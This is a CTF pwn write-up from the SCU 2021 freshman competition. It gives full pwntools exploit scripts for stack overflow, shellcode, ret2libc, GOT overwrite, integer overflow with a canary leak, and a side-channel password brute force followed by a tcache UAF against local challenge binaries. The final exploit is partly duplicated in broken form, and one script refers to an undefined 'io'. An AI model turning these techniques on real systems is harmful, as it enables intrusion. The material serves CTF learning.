SCU freshmen 2021 pwn wp

Some time ago, the geek challenge 2021 and the SCU freshman competition in 2021 did not work out the last question. As a sophomore, I really should reflect on myself. It's too delicious. Woo woo. Geek challenge, because I played for too long, I almost forgot the title, so I didn't write wp.

ret2text

Simple stack overflow, hello world in pwn.

from pwn import *

r = process("/mnt/hgfs/ubuntu/stackoverflow")
elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")
payload = b'a'*0x38+p64(elf.symbols["backdoor"])
r.recvuntil(b"Do you know stack overflow and ret2text?")
r.sendline(payload)
io.interactive()

ret2shellcode

The most basic shellcode can be written by yourself, or you can directly use the shellcraft module in pwntools

from pwn import *
context(arch="amd64",os="linux")
r = process("/mnt/hgfs/ubuntu/ret2shellcode")
r.recvuntil(b"Your input will be saved at ")
shellcode_addr = int(r.recvuntil(b'\n'),16)
shellcode = asm(shellcraft.sh())
r.recvuntil("Input: ")
payload = shellcode.ljust(0x88,b'a')+p64(shellcode_addr)
r.sendline(payload)
r.interactive()

quiz

Online test questions mainly focus on integer overflow and assembly.

ret2libc

Link: https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
Extraction code: F1re

Check the sec. Open it all except canary protection.

thinking

0x1 address disclosure

After choosing 1, you can disclose some addresses, including the address of a function and the address of the puts function. You can get the elf file base address and libc base address through these two.

0x2 stack overflow

Then there is an obvious stack overflow vulnerability after choice 2.

But the problem is that I can't get the shell by using system+/bin/sh, and finally use one_gadget successfully getshell. Finally, pay attention to balancing the stack frame with a ret instruction.

exp

from pwn import *
libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so')
# r = process('/mnt/hgfs/ubuntu/ret2libc/ret2libc')

r.recvuntil("Your choice: ")
r.sendline(b'1')
r.recvuntil("You need to figure it out:")
r.recvuntil("0xdeadbeef ")
elf_addr = int(r.recv(14),16)
elf_base = elf_addr-0x13d3
r.recv(1)
puts_addr=int(r.recv(14),16)
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system_addr = libc_base+libc.symbols["system"]
bin_sh = 0x18ce57
one_gadget = libc_base+0xf03a4
pop_rdi = 0x1613+elf_base
ret = elf_base+0x101a
print("elf_base:"+hex(elf_base))
print("libc_base: "+hex(libc_base))
r.recvuntil("Your choice: ")
# payload = b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload =b'a'*0x18+p64(ret)+p64(one_gadget)
r.sendline(b'2')
r.recvuntil("input: ")
r.sendline(payload)
r.interactive()

got_it

Link: https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
Extraction code: F1re

Check the sec. All other protections are on except RELEO protection.

The function defines an array, which stores several classic websites learning pwn. The function has three functions:

  • show: displays the URL of a website in the array.

  • edit: modify the content of a web address. However, you can see that the input length 0x12 is greater than its array element length 0x8, and there is an overflow.

  • Exit: exit the program.

thinking

0x1 overflow

There is an overflow length of 0x8.

0x2 control function pointer

The address of the array variable is stored after 0x36E0.

The array variables are stored before 0x36E0.

Combined with the overflow length of 0x8 we found earlier, we can use the edit function for the last URL at 0x36D0 to overwrite the pointer storing the first array element.

0x3 pie bypass, overwrite GOT table

Since the program does not have RELEO protection, we can consider rewriting the function GOT table. Because the program has pie protection, we intend to bypass it with partial write.

Discover ATOI_ Only the last byte is different between addr and the first function pointer. Therefore, we only overwrite the pointer. The first byte is' \ x40 '. Use the show function to disclose the real address of the function, so as to calculate the libc base address, and then edit the first element of the array to put ATOI_ Go to one_ The value of the gadget.

exp

from pwn import *
# r = process('/mnt/hgfs/ubuntu/got_it/got_it')
elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it')
libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so')

def show(id):
    r.recvuntil("> ")
    r.sendline(str(1))
    r.recvuntil("which? ")
    r.sendline(str(id))

def edit(id,content):
    r.recvuntil("> ")
    r.sendline(str(2))
    r.recvuntil("which? ")
    r.sendline(str(id))
    r.recvuntil("your new website: ")
    r.send(content)
payload = b'a'*0x10+b'\x40'
edit(4,payload)
show(0)
r.recvuntil("website: ")
atoi_addr = u64(r.recv(6).ljust(8,b'\0'))
print("atoi_got: "+hex(atoi_addr))
libc_base = atoi_addr - libc.symbols["atoi"]
print("libc_base: "+hex(libc_base))
one_gadget = 0xf1247+libc_base
payload2= p64(one_gadget)
edit(0,payload2)
r.interactive()

safe_copy

Link: https://pan.baidu.com/s/1HFxgh0mnrWJt76LBc9t9pw
Extraction code: F1re

True, the title is what it means. checksec, protection fully open.

The code disassembled by IDA was a little messy. It took half an hour to understand the program flow.

The main flow of the function is

  • Read 0x100 contents into buf array, read offset, Max_ Copyn and boundary attributes.

  • Initialize the s array with size of 0x10 and fill it with "#". Meanwhile, fill the stack space with size of 0x90 adjacent to the s array with "#".

  • Read copy_len, start copying from buf array to s array.

  • offset determines the number of subscripts from the s array, copy, max_ Copyn determines the maximum copy length, and boundary defines the maximum subscript of the s array that can be copied at most.

The above program flow can be repeated until the value entered into the buf array is "exit \n".

After understanding the program flow, we can basically confirm that the vulnerability can only be detected from several parameters: offset and Max_copylen,boundary,copy_len several parameters. Therefore, I focus on the functions that handle those parameters, and check the logic of the parameters themselves, so the vulnerability can only be caused by integer overflow.

thinking

0x1 integer overflow

Obviously, we want to control the value of offset to reach the position from copy to stack overflow. Check

if ( offset < 0 || boundary > 0x100 || max_copylen <= 0 || offset + max_copylen >= (int)boundary )

Find offset and Max_ Copyn is an int variable, and Max_ Copyn has little impact on the copy process of the program, so we can make Max_ Copyn is close to INT_MAX value, using integer overflow to satisfy offset + max_ Copyn < = (int) boundary, and you can also control the value of offset.

0x2 disclose canary and libc base addresses

It can be observed that the canary value and libc exist at the 0x8 address below the s array_ start_ main_ 240's address,

Since the first bit of canary is' \ 0 ', after overwriting the first bit of Canary, Canary can be leaked through put in the program flow, * * use rjust to supplement canary** At the same time, leak libc in the same way_ start_ main_ 240, calculate the libc base address, and finally the stack overflows the getshell.

Finally, it was stuck for a long time when exiting... You need to write "exit\n" at the beginning of the buf array and add "\ 0" to partition.

exp

from pwn import *
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
elf = ELF('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
libc = ELF('/mnt/hgfs/ubuntu/safe_copy/libc-2.23.so')

def copy(padding,start_offset,length,boundary,copylength):
    r.recvuntil("Your input: ")
    r.sendline(padding)
    r.recvuntil("Start offset: ")
    r.sendline(str(start_offset))
    r.recvuntil("Max copy len: ")
    r.sendline(str(length))
    r.recvuntil("Copy boundary: ")
    r.sendline(str(boundary))
    r.recvuntil("Copy len:")
    r.sendline(str(copylength))

copy(b'aaaaaaaaa' ,0x100,0x7fffffff,11,9)
r.recvuntil("Result:")
r.recvuntil(b"aaaaaaaaa")
canary = u64(r.recv(7).rjust(8,b'\0'))
print("canary : "+hex(canary))
copy(b'aaaaaaaa'*7,0x100,0x7fffffff,100,56)
r.recvuntil(b"aaaaaaaa"*7)
libc_start_main_240 = u64(r.recv(6).ljust(8,b'\0'))
print("libc_start_main_240: "+hex(libc_start_main_240))
libc_base = libc_start_main_240-libc.symbols["__libc_start_main"]-240
print("libc_base: "+hex(libc_base))
one_gadget = libc_base+0x45226
payload = p32(1953069157)+b'\n'+b'\0'*3+p64(canary)+b'a'*0x28+p64(one_gadget)
copy(payload,0x100,0x7fffffff,0x100,64)
r.interactive()

login

Link: https://pan.baidu.com/s/1hCcdvfqdlc836UaT7CBGHQ
Extraction code: F1re

Program flow analysis

After reading a question all afternoon, I still have no idea at all.

Procedure flow:

  • There is a root user with a special id of 0. The password is automatically generated by urandom in linux. The generation process of each password is as follows: ① read four digits from / dev/urandom as random number seed. ② Call the srand function. ③ Generate a one digit password. ④ Until 0x30 bit password is generated

  • add user: add a user. The attributes are ① password ② id ③ password length. (id cannot be 0)

  • Login: user login. If the logged in user is root, it has a UAF vulnerability.

  • delete user: deletes a user.

thinking

root user

At first, I thought that the password of root user was generated when the program was started, and each password had a random seed, so it could not be exploded. Therefore, you can only change the id of an ordinary user to 0. So I looked for the integer overflow vulnerability for a long time and wanted to change the id of ordinary users to 0. In the end, I ended up with nothing.

Until hint: side channel attack is released.

Online Baidu, the side channel attack basically = blasting, but it is bit by bit blasting to check whether it is successful.

So I checked the check function carefully.

If the password is found to be wrong, the wrong password will be printed out in% s. there is a possibility that the following data may be leaked in% s, so I went to check the stack space.

As shown in the figure_ The value of 30 corresponds to V7 in the check function (that is, the number of correct passwords).

That's easy. Blow up the code bit by bit.

Define the basic function body first:

def add(index,id,password):
    r.sendline(b'1')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(index))
    r.recvuntil(b"Input id: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password len: ")
    r.sendline(str(len(password)))
    r.recvuntil(b"Input password: ")
    r.sendline(password)
    r.recvuntil(b"Add user done!")

def login(id,password):
    r.sendline(b'2')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password: ")
    r.sendline(password)

def login1(id,password):
    r.sendline(b'2')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password: ")
    r.send(password)

def delete(id):
    r.sendline(b'3')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))

Blasting password:

def burpsuit():
    try_pwd = ""
    for i in range(48):
     for j in range(48, 48 + 79):
        if i != 47:
            login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))
            r.recvuntil(b'a' * ((152 - (i + 1))))
            number = u8(r.recv(1))
            if number == i + 1:
                try_pwd += chr(j)
                break
        else:
            login(0,try_pwd + chr(j))
            result = r.recv(1)
            if (result != b"W"):
                try_pwd += chr(j)
                break
     print("admin_passwd = " + try_pwd)
    print("ok")

Leak libc base address

After entering the root user, we can have A UAF vulnerability. The libc version of this problem is higher, and there is A Tcache mechanism. Therefore, we first add six users, free all of them, fill up the six tcaches, and then use the UAF vulnerability of the root user to free A heap block A, so that heap block A will be placed in the unsortedbin, and the login function is actually equivalent to the show function. Therefore, we can use the UAF vulnerability to extract the fd pointer in the unsortedbin, and the address pointed to by the fd pointer is the same as the main_arena has A fixed offset:

Therefore, the libc base address can be disclosed.

for i in range(1,8):
    add(i,i,b'N1rvana')
for i in range(1,8):
    delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()

It should be noted that some special bytes should be noted when blasting the libc base address with the login function:

① "\ 0" bytes. If "\ 0" bytes appear in the burst bytes, the output to "\ 0" will be terminated due to the characteristics of% s, and the correct number of passwords cannot be echoed.

because:

    if ( *(_BYTE *)buf == 10 )
    {
      *(_BYTE *)buf = 0;
      return i;
    }

② "\ n" bytes, enter "\ n" bytes, and the password input will terminate directly.

So my leak_libc_base function:

def leak_libc_base():
    try_base=""
    for i in range(6):
     for j in range(1,0xff):
          if j!=10:
            payload = try_base+chr(j)+ 'a' * (152-i-1)
            login(0,payload)
            r.recvuntil(b'a' * (152 - i-1))
            # r.recvuntil("\n")
            number = u8(r.recv(1))
            print(number)
            if number == i + 1:
                try_base = try_base+chr(j)
                break
     
    try_base =u64(try_base.ljust(8,'\0'))
    libc_base=try_base-0x3ebca0
    print(hex(libc_base))
    return libc_base

Tcache UAF attack

Then I won't do it... Woo woo.

After reading wp, I know it's Tcache UAF attack. Then he made up the last piece of the puzzle.

Call free directly_ hook.

exp

from pwn import *
from ctypes import *

# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/login/login')
elf = ELF('/mnt/hgfs/ubuntu/login/login')
libc = ELF('/mnt/hgfs/ubuntu/login/libc_login.so')

def add(index,id,password):
    r.sendline(b'1')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(index))
    r.recvuntil(b"Input id: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password len: ")
    r.sendline(str(len(password)))
    r.recvuntil(b"Input password: ")
    r.sendline(password)
    r.recvuntil(b"Add user done!")

def login(id,password):
    r.sendline(b'2')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password: ")
    r.sendline(password)

def login1(id,password):
    r.sendline(b'2')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))
    r.recvuntil(b"Input password: ")
    r.send(password)

def delete(id):
    r.sendline(b'3')
    r.recvuntil(b"Input user index: ")
    r.sendline(str(id))

def burpsuit():
    try_pwd = ""
    for i in range(48):
     for j in range(48, 48 + 79):
        if i != 47:
            login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))
            r.recvuntil(b'a' * ((152 - (i + 1))))
            number = u8(r.recv(1))
            if number == i + 1:
                try_pwd += chr(j)
                break
        else:
            login(0,try_pwd + chr(j))
            result = r.recv(1)
            if (result != b"W"):
                try_pwd += chr(j)
                break
     print("admin_passwd = " + try_pwd)
    print("ok")

def leak_libc_base():
    try_base=""
    for i in range(6):
     for j in range(1,0xff):
          if j!=10:
            payload = try_base+chr(j)+ 'a' * (152-i-1)
            login(0,payload)
            r.recvuntil(b'a' * (152 - i-1))
            # r.recvuntil("\n")
            number = u8(r.recv(1))
            print(number)
            if number == i + 1:
                try_base = try_base+chr(j)
                break
     
    try_base =u64(try_base.ljust(8,'\0'))
    libc_base=try_base-0x3ebca0
    print(hex(libc_base))
    return libc_base
for i in range(1,8):
    add(i,i,b'N1rvana')
for i in range(1,8):
    delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()
for i in range(1,8):
    add(i,i,b'N1rvana')
add(8,8,b'invincible')
delete(8)
delete(0)
add(9,9,p64(libc_base+libc.symbols["__free_hook"]))
add(10,10,b'/bin/sh')
add(11,11,p64(libc_base+libc.symbols["system"]))
delete(10)
r.interactive()

_base-0x3ebca0
print(hex(libc_base))
return libc_base
for i in range(1,8):
add(i,i,b'N1rvana')
for i in range(1,8):
delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()
for i in range(1,8):
add(i,i,b'N1rvana')
add(8,8,b'invincible')
delete(8)
delete(0)
add(9,9,p64(libc_base+libc.symbols["__free_hook"]))
add(10,10,b'/bin/sh')
add(11,11,p64(libc_base+libc.symbols["system"]))
delete(10)
r.interactive()

Tags: security pwn wp

Posted on Mon, 29 Nov 2021 04:41:41 -0500 by LordRogaine